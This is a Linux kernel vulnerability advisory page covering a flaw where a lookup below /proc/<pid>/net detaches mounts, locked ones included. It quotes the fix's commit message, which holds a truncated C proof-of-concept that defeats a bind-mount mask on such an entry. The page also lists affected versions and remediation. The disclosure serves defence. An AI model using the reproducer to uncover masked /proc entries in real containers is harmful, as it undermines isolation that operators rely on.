CVE-2026-99841: proc: don't let an entry below /proc/<pid>/net be a mountpoint

Published Nov 30, 2026
·
Updated

In the Linux kernel, the following vulnerability has been resolved:

proc: don't let an entry below /proc/<pid>/net be a mountpoint

procnetdrevalidate() always returns 0 so that a dentry below /proc/<pid>/net is never reused after setns(). So lookupfast() will end up calling dinvalidate(), which unhashes the dentry and detaches every mount on it, in every mount namespace; including locked mounts.

Then lookupslow() creates a new dentry for the same entry. So a mount on /proc/<pid>/net/dev succeeds and goes away with the first lookup of the name by anybody with search permission on the directory. Given it's 0555 that's everyone's grandma. A mask on such a name hides nothing as the repro below shows.

Treat those entries like I did fd/, fdinfo/ and mapfiles/ and refuse to mount on them in the first place. It's nonsensical theater otherwise:

procnet net/dev stat

// SPDX-License-Identifier: GPL-2.0 / procnet: cover an entry of /proc/<pid>/ with a bind mount, lock the mount, then look the name up. The first task stays alive, <pid> is its pid. The "container" task has its own mount namespace. There it binds a mask on /proc/<pid>/<name>. It drops to uid 1000 and enters a new user namespace with a new mount namespace, so that the mask is locked. Then one task looks the name up: stat the container calls stat() on the name umount the container calls umount2(MNTDETACH) on the name nobody a task with uid 65534 in the first namespaces calls stat() The container lists its mounts before and after (that does not look the name up) and then reads the name. MASK is fine. Anything else means that the lookup uncovered the entry. usage: procnet <name> stat|umount|nobody name "status" is the control, "net/dev" is a file below net, "net/stat" is a directory below net / #define GNUSOURCE #include <dirent.h> #include <errno.h> #include <fcntl.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> #include <sys/mount.h> #include <sys/prctl.h> #include <sys/stat.h> #include <sys/wait.h>

#define WORK "/run/pn"

static char target[128];

static void die(const char what) { fprintf(stderr, "FATAL %s: %s\n", what, strerror(errno)); exit(2); }

static void writestr(const char path, const char s, int flags) { int fd = open(path, OWRONLY | flags, 0644);

if (fd < 0 || write(fd, s, strlen(s)) < 0) die(path); close(fd); }

/ list the mounts below /proc without a lookup of the target / static void mounts(const char when) { char line[512]; FILE f = fopen("/proc/self/mountinfo", "r"); int n = 0;

if (!f) die("mountinfo"); while (fgets(line, sizeof(line), f)) { if (!strstr(line, " /proc/")) continue; printf("container: %s: mount: %s", when, line); n++; } fclose(f); if (!n) printf("container: %s: nothing is mounted below /proc\n", when); }

static void show(const char when, int isdir) { char buf[48] = ""; int fd;

if (isdir) { struct dirent de; DIR d = opendir(target); int hit = 0;

if (!d) { printf("container: %s: opendir(%s) = %s\n", when, target, strerror(errno)); return; } printf("container: %s: readdir(%s) =", when, target); while ((de = readdir(d))) { if (de->dname[0] == '.') continue; printf(" %s", de->dname); hit |= strcmp(de->dname, "MASK"); } closedir(d); printf("%s\n", hit ? " <-- HIT" : ""); return; } fd = open(target, ORDONLY); if (fd < 0) { printf("container: %s: open(%s) = %s\n", when, target, strerror(errno)); return; } if (read(fd, buf, sizeof(buf) - 1) < 0) die("read"); close(fd); if (strchr(buf, '\n')) strchr(buf, '\n') = 0; printf("container: %s: read(%s) = \"%s\"%s\n", when ---truncated---

Affected Software

14 affected componentsFixes available
Linux Linux kernel
linux/kernel>=4.19.29<4.20
4.20
linux/kernel>=4.20.16<4.21
4.21
linux/kernel>=5.0.0<5.10.275
5.10.275
linux/kernel>=5.11.0<5.15.226
5.15.226
linux/kernel>=5.16.0<6.1.193
6.1.193
linux/kernel>=6.2.0<6.6.163
6.6.163
linux/kernel>=6.7.0<6.12.119
6.12.119
linux/kernel>=6.13.0<6.18.63
6.18.63
linux/kernel>=6.19.0<7.3.4
7.3.4
debian/linux*
debian/linux*
debian/linux<7.3.4-1
7.3.4-1
debian/linux<=6.1.176-1, <=6.1.192-3, <=6.12.117-1, <=6.12.118-1
7.3.4-1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade linux/Kernel to a version that resolves this vulnerability.

    Fixed in 4.20
  2. Upgrade

    Upgrade linux/Kernel to a version that resolves this vulnerability.

    Fixed in 4.21
  3. Upgrade

    Upgrade linux/Kernel to a version that resolves this vulnerability.

    Fixed in 5.10.275
  4. Upgrade

    Upgrade linux/Kernel to a version that resolves this vulnerability.

    Fixed in 5.15.226
  5. Upgrade

    Upgrade linux/Kernel to a version that resolves this vulnerability.

    Fixed in 6.1.193
  6. Upgrade

    Upgrade linux/Kernel to a version that resolves this vulnerability.

    Fixed in 6.6.163
  7. Upgrade

    Upgrade linux/Kernel to a version that resolves this vulnerability.

    Fixed in 6.12.119
  8. Upgrade

    Upgrade linux/Kernel to a version that resolves this vulnerability.

    Fixed in 6.18.63
  9. Upgrade

    Upgrade linux/Kernel to a version that resolves this vulnerability.

    Fixed in 7.3.4
  10. Upgrade

    Upgrade debian/linux to a version that resolves this vulnerability.

    Fixed in 7.3.4-1
  11. Compensating control

    Do not mount on entries below /proc/<pid>/net; refuse such mounts in every mount namespace, including locked mounts.

Event History

Nov 30, 2026
CVE Published
via MITRE·01:17 PM
Data Sourced
via MITRE·01:17 PM
Description
Data Sourced
via OSV·01:17 PM
DescriptionAffected Software
Data Sourced
via NVD·02:20 PM
Description

Frequently Asked Questions

1

Who can cause an existing mount to disappear?

Any user with search permission on the relevant /proc/<pid>/net directory can trigger the lookup that invalidates the dentry and detaches mounts. The description states these directories are mode 0555, so search permission is broadly available.

2

What conditions are needed to create the affected mount state?

The issue involves placing a mount, such as a bind-mount mask, on an entry below /proc/<pid>/net, for example /proc/<pid>/net/dev. The reproduced scenario uses a separate mount namespace to bind a mask over such an entry.

3

Can a locked mount prevent the mount from being detached?

No. The dentry invalidation detaches every mount on the entry across mount namespaces, including locked mounts.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203